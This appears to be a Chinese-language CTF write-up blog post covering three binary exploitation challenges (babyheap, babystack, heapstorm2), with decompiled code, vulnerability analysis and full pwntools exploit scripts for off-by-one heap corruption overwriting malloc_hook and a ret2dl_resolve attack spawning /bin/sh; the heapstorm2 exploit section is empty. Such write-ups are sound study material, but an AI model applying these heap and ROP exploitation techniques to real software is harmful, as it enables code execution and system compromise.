babyheap

题目

整体代码风格与2017 的babyheap基本一致,不过漏洞点变得隐蔽且利用变得困难了

功能: allocate, resize, show, delete 四个功能

指针仍然是通过一通操作被隐蔽了,所以不能打存放指针地址的主意

allocate时:

1
2
3
4
5
6
printf("Size: ");
size = read_int_8();
if ( size > 0 )
{
if ( size > 0x58 )
size = 0x58;

而resize时:

1
2
3
4
5
6
7
printf("Size: ");
LODWORD(v1) = read_int_8();
newsize = v1;
if ( (signed int)v1 > 0 )
{
v1 = *(_QWORD *)(24LL * idx + a1 + 8) + 1LL; // new size+1
if ( newsize <= v1 )

存在off-by-one漏洞,其他函数基本没有问题

分析

利用off-by-one,修改chunk size,释放chunk,再申请,将未释放的chunk被系统标记为释放,以此泄露libc

之后的思路便是复写malloc_hook ,但是这里需要注意一点:

申请的chunk最终大小最大为0x60,也就是即使千辛万苦将某个chunk的size改为0x70并将其置入链表,也没有任何用,尝试了好久之前却没动脑子,哭了;

所以需要换个思路,可以使用之前三级头招新时出题人的思路:将size放入fastbinY中,然后将chunk分配到main_arena处,修改topchunk为malloc_hook之上,然后再次分配chunk复写malloc_hook即可

这里就没有必要想free_hook了,毕竟free_hook周围全都是’\x00’,topchunk地址改过去,分配时size检查就没法过了

这种不能查看指针的,需要搞清楚自己申请的释放的都是哪些chunk,不然很容易乱。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.log_level = 'debug'

sh = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./lib/x86_64-linux-gnu/libc-2.23.so')

def allocate(size):
sh.sendlineafter('Command: ','1')
sh.sendlineafter('Size: ',str(size))

def resize(idx,size,con):
sh.sendlineafter('Command: ','2')
sh.sendlineafter('Index: ',str(idx))
sh.sendlineafter('Size: ',str(size))
sh.sendlineafter('Content: ',con)
def delete(idx):
sh.sendlineafter('Command: ','3')
sh.sendlineafter('Index: ',str(idx))

def show(idx):
sh.sendlineafter('Command: ','4')
sh.sendlineafter('Index: ',str(idx))




allocate(0x18) #0
allocate(0x28) #1
allocate(0x58) #2
allocate(0x18) #3
allocate(0x38) #4

#---------leak libc addr-------------------------
resize(0,0x19,'a'*0x18+p8(0x91))
delete(1)
allocate(0x28)
show(2)
sh.recvuntil(': ')
leak_addr = u64(sh.recv(8))
print 'leak_addr: '+hex(leak_addr)
main_arena = leak_addr- 88
print 'main_arena: '+hex(main_arena)
libc_addr = main_arena - 0x3c4b20
print 'libc_base: '+hex(libc_addr)
one_gadget = libc_addr + 0x4526a
#gdb.attach(sh)
#----------get shell-----------------------------
allocate(0x58) #5
delete(5)
resize(2,0x8,p64(0x41))
allocate(0x58) #5

#gdb.attach(sh)
#allocate(0x18) #6
#allocate(0x58) #7

resize(5,0x59,'a'*0x58+p8(0x61))
#resize(4,0x10,'a'*0x38+p64(0x41))
delete(3)
allocate(0x58)
resize(3,0x20,'a'*0x18+p64(0x41))
delete(4)
#gdb.attach(sh)
resize(3,0x28,'c'*0x18+p64(0x41)+p64(main_arena+0x20))
#gdb.attach(sh)
allocate(0x38)
#gdb.attach(sh)
allocate(0x38)

resize(6,0x30,'a'*0x28+p64(main_arena-0x20))
allocate(0x10)
resize(7,0x8,p64(one_gadget))
allocate(0x10)
sh.interactive()

babystack

题目

ret2_resolve_runtime , 直接给了溢出,但是无处下手,实际就是ret2resolve 的标准情况,这里也学习一下

https://www.siriuswhiter.tk/2019/03/20/introduction-to-pwn1-4-ret2dl_runtime_resolve/

1
2
3
4
5
6
ssize_t read__()
{
char buf; // [esp+0h] [ebp-28h]

return read(0, &buf, 0x40u);
}

分析

溢出在bss段伪造resolve结构体,覆盖write为system调用’/bin/sh’ getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
import roputils
from pwn import *
context.log_level = 'debug'
offset = 44
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B

p = process('./babystack')
rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')

# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)

#gdb.attach(p)
#step2 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
p.interactive()

heapstorm2

题目

刚开始进行了一通设置,这里需要关注一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
signed __int64 setup()
{
signed int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) ) // ban fastbin
exit(-1);
if ( mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000 )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, (void *)0x13370800, 0x18uLL) != 24 )
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];
for ( i = 0; i <= 15; ++i )
{
*(_QWORD *)(16 * (i + 2LL) + 0x13370800) = set_ptr((_QWORD *)0x13370800, 0LL);
*(_QWORD *)(16 * (i + 2LL) + 0x13370808) = set_size(0x13370800LL, 0LL);
}
return 0x13370800LL;
}

可以注意到

  1. 使用mallopt取消了fastbin,
  2. 在0x1337000 处 分配了0x1000大小的空间,可读可写,然后从0x13370800处 写入了0x20的随机数据,后面是存储结构,指针+size

可以在调试时看这块区域的情况:

1
2
3
4
5
6
7
8
9
10
11
12
x/20gx 0x13370800
0x13370800: 0xa16b7989b9c2ea96 0xaf69f4118a3bb745
0x13370810: 0x994db09e4d784774 0x994db09e4d784774 --》 view 需要检验的地方

0x13370820: 0xa16b2fa20decaa86 0xaf69f4118a3bb75d
0x13370830: 0xa16b2fa20decaaa6 0xaf69f4118a3bb75d
0x13370840: 0xa16b2fa20decaac6 0xaf69f4118a3bb75d
0x13370850: 0xa16b7989b9c2ea96 0xaf69f4118a3bb745
0x13370860: 0xa16b7989b9c2ea96 0xaf69f4118a3bb745
0x13370870: 0xa16b7989b9c2ea96 0xaf69f4118a3bb745
0x13370880: 0xa16b7989b9c2ea96 0xaf69f4118a3bb745
0x13370890: 0xa16b7989b9c2ea96 0xaf69f4118a3bb745

后面会将指针,size经过处理存储到这里,指针会与0x13370800处的随机数xor,size会与0x13370808处的随机数xor

主功能有

  1. alloc , 使用了calloc ,最多16个chunk且会将输入的chunk 的指针与size存储到上面说的地方 size要大于12小于0x01000;
  2. update , 再输入的大小要不大于原size-12,输入数据后会将其最后12字节进行填充,很明显有off-by-null;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    printf("Size: ");
    size_ = get_num();
    if ( size_ <= 0 || size_ > (unsigned __int64)(set_size((__int64)a1, a1[idx + 2].size) - 12) )
    return puts("Invalid Size");
    printf("Content: ");
    v2 = set_ptr(a1, a1[idx + 2LL].ptr);
    get_str(v2, size_);
    v3 = size_ + v2;
    *(_QWORD *)v3 = 'ROTSPAEH';
    *(_DWORD *)(v3 + 8) = 'II_M';
    *(_BYTE *)(v3 + 12) = 0; // off-by-null
    return printf("Chunk %d Updated\n", (unsigned int)idx);
  3. delete 检查存储的size,之后删除, 可以看到处理的比较干净;

1
2
3
4
5
6
if ( idx < 0 || idx > 15 || !set_size((__int64)a1, a1[idx + 2].size) )
return puts("Invalid Index");
v2 = (void *)set_ptr(a1, a1[idx + 2LL].ptr);
free(v2);
a1[idx + 2LL].ptr = set_ptr(a1, 0LL);
a1[idx + 2].size = set_size((__int64)a1, 0LL);
  1. view 会检查之前的0x10处的随机数,满足条件才可以view;
    1
    2
    if ( (a1[3] ^ a1[2]) != 0x13377331LL )
    return puts("Permission denied");

分析

思路还是比较清晰的,首先利用off-by-null的漏洞通过chunk overlapping 将chunk分配到0x13370800处,修改原先存储的随机数,使得可以使用view函数,同时覆盖下面存储的指针与size,调用view泄露libc基址,再将指针指向malloc_hook处或free_hook处直接getshell;

主要的问题就是利用overlapping做到条件地址写,过程应该会较为复杂;

exp

1
2